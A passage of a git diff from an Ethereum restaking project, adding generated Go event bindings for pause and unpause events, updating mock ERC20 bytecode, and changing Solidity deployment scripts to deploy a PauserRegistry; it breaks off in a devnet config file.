ContractAlignedLayerServiceManagerPausedIterator struct { + Event *ContractAlignedLayerServiceManagerPaused // Event containing the contract specifics and raw log + + contract *bind.BoundContract // Generic contract to use for unpacking event data + event string // Event name to use for unpacking event data + + logs chan types.Log // Log channel receiving the found contract events + sub ethereum.Subscription // Subscription for errors, completion and termination + done bool // Whether the subscription completed delivering logs + fail error // Occurred error to stop iteration +} + +// Next advances the iterator to the subsequent event, returning whether there +// are any more events found. In case of a retrieval or parsing error, false is +// returned and Error() can be queried for the exact failure. +func (it *ContractAlignedLayerServiceManagerPausedIterator) Next() bool { + // If the iterator failed, stop iterating + if it.fail != nil { + return false + } + // If the iterator completed, deliver directly whatever's available + if it.done { + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerPaused) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + default: + return false + } + } + // Iterator still in progress, wait for either a data or an error event + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerPaused) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + case err := <-it.sub.Err(): + it.done = true + it.fail = err + return it.Next() + } +} + +// Error returns any retrieval or parsing error occurred during filtering. +func (it *ContractAlignedLayerServiceManagerPausedIterator) Error() error { + return it.fail +} + +// Close terminates the iteration process, releasing any pending underlying +// resources. +func (it *ContractAlignedLayerServiceManagerPausedIterator) Close() error { + it.sub.Unsubscribe() + return nil +} + +// ContractAlignedLayerServiceManagerPaused represents a Paused event raised by the ContractAlignedLayerServiceManager contract. +type ContractAlignedLayerServiceManagerPaused struct { + Account common.Address + NewPausedStatus *big.Int + Raw types.Log // Blockchain specific contextual infos +} + +// FilterPaused is a free log retrieval operation binding the contract event 0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d. +// +// Solidity: event Paused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) FilterPaused(opts *bind.FilterOpts, account []common.Address) (*ContractAlignedLayerServiceManagerPausedIterator, error) { + + var accountRule []interface{} + for _, accountItem := range account { + accountRule = append(accountRule, accountItem) + } + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.FilterLogs(opts, "Paused", accountRule) + if err != nil { + return nil, err + } + return &ContractAlignedLayerServiceManagerPausedIterator{contract: _ContractAlignedLayerServiceManager.contract, event: "Paused", logs: logs, sub: sub}, nil +} + +// WatchPaused is a free log subscription operation binding the contract event 0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d. +// +// Solidity: event Paused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) WatchPaused(opts *bind.WatchOpts, sink chan<- *ContractAlignedLayerServiceManagerPaused, account []common.Address) (event.Subscription, error) { + + var accountRule []interface{} + for _, accountItem := range account { + accountRule = append(accountRule, accountItem) + } + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.WatchLogs(opts, "Paused", accountRule) + if err != nil { + return nil, err + } + return event.NewSubscription(func(quit <-chan struct{}) error { + defer sub.Unsubscribe() + for { + select { + case log := <-logs: + // New log arrived, parse the event and forward to the user + event := new(ContractAlignedLayerServiceManagerPaused) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "Paused", log); err != nil { + return err + } + event.Raw = log + + select { + case sink <- event: + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + } + }), nil +} + +// ParsePaused is a log parse operation binding the contract event 0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d. +// +// Solidity: event Paused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) ParsePaused(log types.Log) (*ContractAlignedLayerServiceManagerPaused, error) { + event := new(ContractAlignedLayerServiceManagerPaused) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "Paused", log); err != nil { + return nil, err + } + event.Raw = log + return event, nil +} + +// ContractAlignedLayerServiceManagerPauserRegistrySetIterator is returned from FilterPauserRegistrySet and is used to iterate over the raw logs and unpacked data for PauserRegistrySet events raised by the ContractAlignedLayerServiceManager contract. +type ContractAlignedLayerServiceManagerPauserRegistrySetIterator struct { + Event *ContractAlignedLayerServiceManagerPauserRegistrySet // Event containing the contract specifics and raw log + + contract *bind.BoundContract // Generic contract to use for unpacking event data + event string // Event name to use for unpacking event data + + logs chan types.Log // Log channel receiving the found contract events + sub ethereum.Subscription // Subscription for errors, completion and termination + done bool // Whether the subscription completed delivering logs + fail error // Occurred error to stop iteration +} + +// Next advances the iterator to the subsequent event, returning whether there +// are any more events found. In case of a retrieval or parsing error, false is +// returned and Error() can be queried for the exact failure. +func (it *ContractAlignedLayerServiceManagerPauserRegistrySetIterator) Next() bool { + // If the iterator failed, stop iterating + if it.fail != nil { + return false + } + // If the iterator completed, deliver directly whatever's available + if it.done { + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerPauserRegistrySet) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + default: + return false + } + } + // Iterator still in progress, wait for either a data or an error event + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerPauserRegistrySet) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + case err := <-it.sub.Err(): + it.done = true + it.fail = err + return it.Next() + } +} + +// Error returns any retrieval or parsing error occurred during filtering. +func (it *ContractAlignedLayerServiceManagerPauserRegistrySetIterator) Error() error { + return it.fail +} + +// Close terminates the iteration process, releasing any pending underlying +// resources. +func (it *ContractAlignedLayerServiceManagerPauserRegistrySetIterator) Close() error { + it.sub.Unsubscribe() + return nil +} + +// ContractAlignedLayerServiceManagerPauserRegistrySet represents a PauserRegistrySet event raised by the ContractAlignedLayerServiceManager contract. +type ContractAlignedLayerServiceManagerPauserRegistrySet struct { + PauserRegistry common.Address + NewPauserRegistry common.Address + Raw types.Log // Blockchain specific contextual infos +} + +// FilterPauserRegistrySet is a free log retrieval operation binding the contract event 0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6. +// +// Solidity: event PauserRegistrySet(address pauserRegistry, address newPauserRegistry) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) FilterPauserRegistrySet(opts *bind.FilterOpts) (*ContractAlignedLayerServiceManagerPauserRegistrySetIterator, error) { + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.FilterLogs(opts, "PauserRegistrySet") + if err != nil { + return nil, err + } + return &ContractAlignedLayerServiceManagerPauserRegistrySetIterator{contract: _ContractAlignedLayerServiceManager.contract, event: "PauserRegistrySet", logs: logs, sub: sub}, nil +} + +// WatchPauserRegistrySet is a free log subscription operation binding the contract event 0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6. +// +// Solidity: event PauserRegistrySet(address pauserRegistry, address newPauserRegistry) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) WatchPauserRegistrySet(opts *bind.WatchOpts, sink chan<- *ContractAlignedLayerServiceManagerPauserRegistrySet) (event.Subscription, error) { + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.WatchLogs(opts, "PauserRegistrySet") + if err != nil { + return nil, err + } + return event.NewSubscription(func(quit <-chan struct{}) error { + defer sub.Unsubscribe() + for { + select { + case log := <-logs: + // New log arrived, parse the event and forward to the user + event := new(ContractAlignedLayerServiceManagerPauserRegistrySet) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "PauserRegistrySet", log); err != nil { + return err + } + event.Raw = log + + select { + case sink <- event: + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + } + }), nil +} + +// ParsePauserRegistrySet is a log parse operation binding the contract event 0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6. +// +// Solidity: event PauserRegistrySet(address pauserRegistry, address newPauserRegistry) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) ParsePauserRegistrySet(log types.Log) (*ContractAlignedLayerServiceManagerPauserRegistrySet, error) { + event := new(ContractAlignedLayerServiceManagerPauserRegistrySet) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "PauserRegistrySet", log); err != nil { + return nil, err + } + event.Raw = log + return event, nil +} + // ContractAlignedLayerServiceManagerRewardsInitiatorUpdatedIterator is returned from FilterRewardsInitiatorUpdated and is used to iterate over the raw logs and unpacked data for RewardsInitiatorUpdated events raised by the ContractAlignedLayerServiceManager contract. type ContractAlignedLayerServiceManagerRewardsInitiatorUpdatedIterator struct { Event *ContractAlignedLayerServiceManagerRewardsInitiatorUpdated // Event containing the contract specifics and raw log @@ -2479,6 +2957,151 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFil return event, nil } +// ContractAlignedLayerServiceManagerUnpausedIterator is returned from FilterUnpaused and is used to iterate over the raw logs and unpacked data for Unpaused events raised by the ContractAlignedLayerServiceManager contract. +type ContractAlignedLayerServiceManagerUnpausedIterator struct { + Event *ContractAlignedLayerServiceManagerUnpaused // Event containing the contract specifics and raw log + + contract *bind.BoundContract // Generic contract to use for unpacking event data + event string // Event name to use for unpacking event data + + logs chan types.Log // Log channel receiving the found contract events + sub ethereum.Subscription // Subscription for errors, completion and termination + done bool // Whether the subscription completed delivering logs + fail error // Occurred error to stop iteration +} + +// Next advances the iterator to the subsequent event, returning whether there +// are any more events found. In case of a retrieval or parsing error, false is +// returned and Error() can be queried for the exact failure. +func (it *ContractAlignedLayerServiceManagerUnpausedIterator) Next() bool { + // If the iterator failed, stop iterating + if it.fail != nil { + return false + } + // If the iterator completed, deliver directly whatever's available + if it.done { + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerUnpaused) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + default: + return false + } + } + // Iterator still in progress, wait for either a data or an error event + select { + case log := <-it.logs: + it.Event = new(ContractAlignedLayerServiceManagerUnpaused) + if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { + it.fail = err + return false + } + it.Event.Raw = log + return true + + case err := <-it.sub.Err(): + it.done = true + it.fail = err + return it.Next() + } +} + +// Error returns any retrieval or parsing error occurred during filtering. +func (it *ContractAlignedLayerServiceManagerUnpausedIterator) Error() error { + return it.fail +} + +// Close terminates the iteration process, releasing any pending underlying +// resources. +func (it *ContractAlignedLayerServiceManagerUnpausedIterator) Close() error { + it.sub.Unsubscribe() + return nil +} + +// ContractAlignedLayerServiceManagerUnpaused represents a Unpaused event raised by the ContractAlignedLayerServiceManager contract. +type ContractAlignedLayerServiceManagerUnpaused struct { + Account common.Address + NewPausedStatus *big.Int + Raw types.Log // Blockchain specific contextual infos +} + +// FilterUnpaused is a free log retrieval operation binding the contract event 0x3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c. +// +// Solidity: event Unpaused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) FilterUnpaused(opts *bind.FilterOpts, account []common.Address) (*ContractAlignedLayerServiceManagerUnpausedIterator, error) { + + var accountRule []interface{} + for _, accountItem := range account { + accountRule = append(accountRule, accountItem) + } + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.FilterLogs(opts, "Unpaused", accountRule) + if err != nil { + return nil, err + } + return &ContractAlignedLayerServiceManagerUnpausedIterator{contract: _ContractAlignedLayerServiceManager.contract, event: "Unpaused", logs: logs, sub: sub}, nil +} + +// WatchUnpaused is a free log subscription operation binding the contract event 0x3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c. +// +// Solidity: event Unpaused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) WatchUnpaused(opts *bind.WatchOpts, sink chan<- *ContractAlignedLayerServiceManagerUnpaused, account []common.Address) (event.Subscription, error) { + + var accountRule []interface{} + for _, accountItem := range account { + accountRule = append(accountRule, accountItem) + } + + logs, sub, err := _ContractAlignedLayerServiceManager.contract.WatchLogs(opts, "Unpaused", accountRule) + if err != nil { + return nil, err + } + return event.NewSubscription(func(quit <-chan struct{}) error { + defer sub.Unsubscribe() + for { + select { + case log := <-logs: + // New log arrived, parse the event and forward to the user + event := new(ContractAlignedLayerServiceManagerUnpaused) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "Unpaused", log); err != nil { + return err + } + event.Raw = log + + select { + case sink <- event: + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + case err := <-sub.Err(): + return err + case <-quit: + return nil + } + } + }), nil +} + +// ParseUnpaused is a log parse operation binding the contract event 0x3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c. +// +// Solidity: event Unpaused(address indexed account, uint256 newPausedStatus) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFilterer) ParseUnpaused(log types.Log) (*ContractAlignedLayerServiceManagerUnpaused, error) { + event := new(ContractAlignedLayerServiceManagerUnpaused) + if err := _ContractAlignedLayerServiceManager.contract.UnpackLog(event, "Unpaused", log); err != nil { + return nil, err + } + event.Raw = log + return event, nil +} + // ContractAlignedLayerServiceManagerVerifierDisabledIterator is returned from FilterVerifierDisabled and is used to iterate over the raw logs and unpacked data for VerifierDisabled events raised by the ContractAlignedLayerServiceManager contract. type ContractAlignedLayerServiceManagerVerifierDisabledIterator struct { Event *ContractAlignedLayerServiceManagerVerifierDisabled // Event containing the contract specifics and raw log diff --git a/contracts/bindings/ERC20Mock/binding.go b/contracts/bindings/ERC20Mock/binding.go index 697fecbf1..237b5aa71 100644 --- a/contracts/bindings/ERC20Mock/binding.go +++ b/contracts/bindings/ERC20Mock/binding.go @@ -32,7 +32,7 @@ var ( // ContractERC20MockMetaData contains all meta data concerning the ContractERC20Mock contract. var ContractERC20MockMetaData = &bind.MetaData{ ABI: "[{\"type\":\"function\",\"name\":\"allowance\",\"inputs\":[{\"name\":\"owner\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"spender\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"approve\",\"inputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"balanceOf\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"mint\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"totalSupply\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"transfer\",\"inputs\":[{\"name\":\"to\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"transferFrom\",\"inputs\":[{\"name\":\"from\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"to\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"nonpayable\"},{\"type\":\"event\",\"name\":\"Approval\",\"inputs\":[{\"name\":\"owner\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"spender\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"Transfer\",\"inputs\":[{\"name\":\"from\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"to\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false}]", - Bin: "0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea2646970667358221220eaf8750f9edd283d7017b14cf9eef781f36ede2f73b9839d0a58bd01962b713064736f6c634300081a0033", + Bin: "0x608060405234801561001057600080fd5b50610528806100206000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047c565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d1565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b9150604084013590509250925092565b60006020828403121561048e57600080fd5b610497826103fa565b9392505050565b600080604083850312156104b157600080fd5b6104ba836103fa565b91506104c8602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122020d7e8b980aa0c2b46b040d513e5ae1f916c9610cc2589a32d3485f141c4d93e64736f6c63430008180033", } // ContractERC20MockABI is the input ABI used to generate the binding from. diff --git a/contracts/script/deploy/AlignedLayerDeployer.s.sol b/contracts/script/deploy/AlignedLayerDeployer.s.sol index 2d0ce812c..9c2cc1ab5 100644 --- a/contracts/script/deploy/AlignedLayerDeployer.s.sol +++ b/contracts/script/deploy/AlignedLayerDeployer.s.sol @@ -31,7 +31,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { ProxyAdmin public alignedLayerProxyAdmin; address public alignedLayerOwner; address public alignedLayerUpgrader; - address public pauser; + address public alignedLayerPauser; uint256 public initalPausedStatus; address public deployer; address public alignedLayerAggregator; @@ -43,6 +43,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { StakeRegistry public stakeRegistry; OperatorStateRetriever public operatorStateRetriever; ServiceManagerRouter public serviceManagerRouter; + PauserRegistry public pauserRegistry; BLSApkRegistry public apkRegistryImplementation; AlignedLayerServiceManager public alignedLayerServiceManagerImplementation; @@ -87,7 +88,10 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { ".permissions.initalPausedStatus" ); - pauser = address(eigenLayerPauserReg); + alignedLayerPauser = stdJson.readAddress( + config_data, + ".permissions.pauser" + ); deployer = stdJson.readAddress(config_data, ".permissions.deployer"); require( @@ -106,6 +110,13 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { // deploy proxy admin for ability to upgrade proxy contracts alignedLayerProxyAdmin = new ProxyAdmin(); + //deploy pauser registry + { + address[] memory pausers = new address[](1); + pausers[0] = alignedLayerPauser; + pauserRegistry = new PauserRegistry(pausers, alignedLayerPauser); // (pausers, unpauser) + } + //deploy service manager router serviceManagerRouter = new ServiceManagerRouter(); @@ -222,7 +233,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { alignedLayerOwner, churner, ejector, - IPauserRegistry(pauser), + pauserRegistry, initalPausedStatus, operatorSetParams, minimumStakeForQuourm, @@ -249,7 +260,9 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { AlignedLayerServiceManager.initialize.selector, deployer, deployer, - alignedLayerAggregator + alignedLayerAggregator, + pauserRegistry, + initalPausedStatus ) ); @@ -320,19 +333,28 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { config_data, ".permissions.upgrader" ); + alignedLayerPauser = stdJson.readAddress( + config_data, + ".permissions.pauser" + ); initalPausedStatus = stdJson.readUint( config_data, ".permissions.initalPausedStatus" ); - pauser = address(eigenLayerPauserReg); - deployer = stdJson.readAddress(config_data, ".permissions.deployer"); vm.startPrank(deployer); // deploy proxy admin for ability to upgrade proxy contracts alignedLayerProxyAdmin = new ProxyAdmin(); + //deploy pauser registry + { + address[] memory pausers = new address[](1); + pausers[0] = alignedLayerPauser; + pauserRegistry = new PauserRegistry(pausers, alignedLayerPauser); // (pausers, unpauser) + } + //deploy service manager router serviceManagerRouter = new ServiceManagerRouter(); @@ -449,7 +471,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { alignedLayerOwner, churner, ejector, - IPauserRegistry(pauser), + pauserRegistry, initalPausedStatus, operatorSetParams, minimumStakeForQuourm, @@ -475,7 +497,9 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { abi.encodeWithSelector( AlignedLayerServiceManager.initialize.selector, deployer, - deployer + deployer, + pauserRegistry, + initalPausedStatus ) ); @@ -632,8 +656,16 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { alignedLayerServiceManager.owner() == alignedLayerOwner, "alignedLayerServiceManager.owner() != alignedLayerOwner" ); - // require(alignedLayerServiceManager.pauserRegistry() == IPauserRegistry(pauser), "alignedLayerServiceManager: pauser registry not set correctly"); - // require(alignedLayerServiceManager.paused() == initalPausedStatus, "alignedLayerServiceManager: init paused status set incorrectly"); + + require( + alignedLayerServiceManager.pauserRegistry() == IPauserRegistry(pauserRegistry), + "alignedLayerServiceManager: pauser registry not set correctly" + ); + require( + alignedLayerServiceManager.paused() == initalPausedStatus, + "alignedLayerServiceManager: init paused status set incorrectly" + ); + require( registryCoordinator.owner() == alignedLayerOwner, @@ -648,7 +680,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { "registryCoordinator.ejector() != ejector" ); require( - registryCoordinator.pauserRegistry() == IPauserRegistry(pauser), + registryCoordinator.pauserRegistry() == pauserRegistry, "registryCoordinator: pauser registry not set correctly" ); require( @@ -777,6 +809,11 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { "serviceManagerRouter", address(serviceManagerRouter) ); + vm.serializeAddress( + deployed_addresses, + "pauserRegistry", + address(pauserRegistry) + ); string memory deployed_addresses_output = vm.serializeAddress( deployed_addresses, "stakeRegistryImplementation", @@ -799,10 +836,17 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { config_data, ".permissions.ejector" ); - address alignedLayerAggregator = stdJson.readAddress( + + alignedLayerAggregator = stdJson.readAddress( config_data, ".permissions.aggregator" ); + + address pauserAddress = stdJson.readAddress( + config_data, + ".permissions.pauser" + ); + string memory permissions = "permissions"; vm.serializeAddress( permissions, @@ -815,9 +859,7 @@ contract AlignedLayerDeployer is ExistingDeploymentParser { alignedLayerUpgrader ); vm.serializeAddress(permissions, "alignedLayerChurner", churner); - - vm.serializeAddress(permissions, "pauserRegistry", pauser); - + vm.serializeAddress(permissions, "alignedLayerPauser", pauserAddress); vm.serializeAddress(permissions, "alignedLayerAggregator", alignedLayerAggregator); string memory permissions_output = vm.serializeAddress( diff --git a/contracts/script/deploy/PauserRegistryDeployer.s.sol b/contracts/script/deploy/PauserRegistryDeployer.s.sol new file mode 100644 index 000000000..657bcf95d --- /dev/null +++ b/contracts/script/deploy/PauserRegistryDeployer.s.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: BUSL-1.1 +pragma solidity ^0.8.12; + +import {PauserRegistry} from "eigenlayer-core/contracts/permissions/PauserRegistry.sol"; + +import "script/deploy/utils/ExistingDeploymentParser.sol"; +import "forge-std/Test.sol"; +import "forge-std/Script.sol"; +import "forge-std/StdJson.sol"; + +// This script is only for deploying the PauserRegistry contract +// In order to avoid redeploying previously deployed contracts, we will use the deployed contract addresses +contract PauserRegistryDeployer is ExistingDeploymentParser { + address public pauser; + uint256 public initalPausedStatus; + address public deployer; + + PauserRegistry public pauserRegistry; + + function run( + string memory existingDeploymentInfoPath, + string memory deployConfigPath, + string memory outputPath + ) external returns (address, address) { + // get info on all the already-deployed contracts + _parseDeployedContracts(existingDeploymentInfoPath); + + // READ JSON CONFIG DATA + string memory config_data = vm.readFile(deployConfigPath); + + // check that the chainID matches the one in the config + uint256 currentChainId = block.chainid; + uint256 configChainId = stdJson.readUint( + config_data, + ".chainInfo.chainId" + ); + emit log_named_uint("You are deploying on ChainID", currentChainId); + require( + configChainId == currentChainId, + "You are on the wrong chain for this config" + ); + + initalPausedStatus = stdJson.readUint( + config_data, + ".permissions.initalPausedStatus" + ); + pauser = stdJson.readAddress( + config_data, + ".permissions.pauser" + ); + + deployer = stdJson.readAddress(config_data, ".permissions.deployer"); + require( + deployer == tx.origin, + "Deployer address must be the same as the tx.origin" + ); + emit log_named_address("You are deploying from", deployer); + + vm.startBroadcast(); + + //deploy pauser registry + { + address[] memory pausers = new address[](1); + pausers[0] = pauser; + pauserRegistry = new PauserRegistry(pausers, pauser); // (pausers, unpauser) + } + + vm.stopPrank(); + + //write output + return(address(pauserRegistry), address(pauser)); + } +} diff --git a/contracts/script/deploy/config/devnet/aligned.devnet.config.json b/contracts/script/deploy/config/devnet/aligned.devnet.config.json index 85da62b5b..ef8c357a5 100644 --- a/contracts/script/deploy/config/devnet/aligned.devnet.config.json +++ b/contracts/script/deploy/config/devnet/aligned.devnet.config.json @@ -9,6 +9,7 @@ "churner": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", "ejector": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", "deployer": 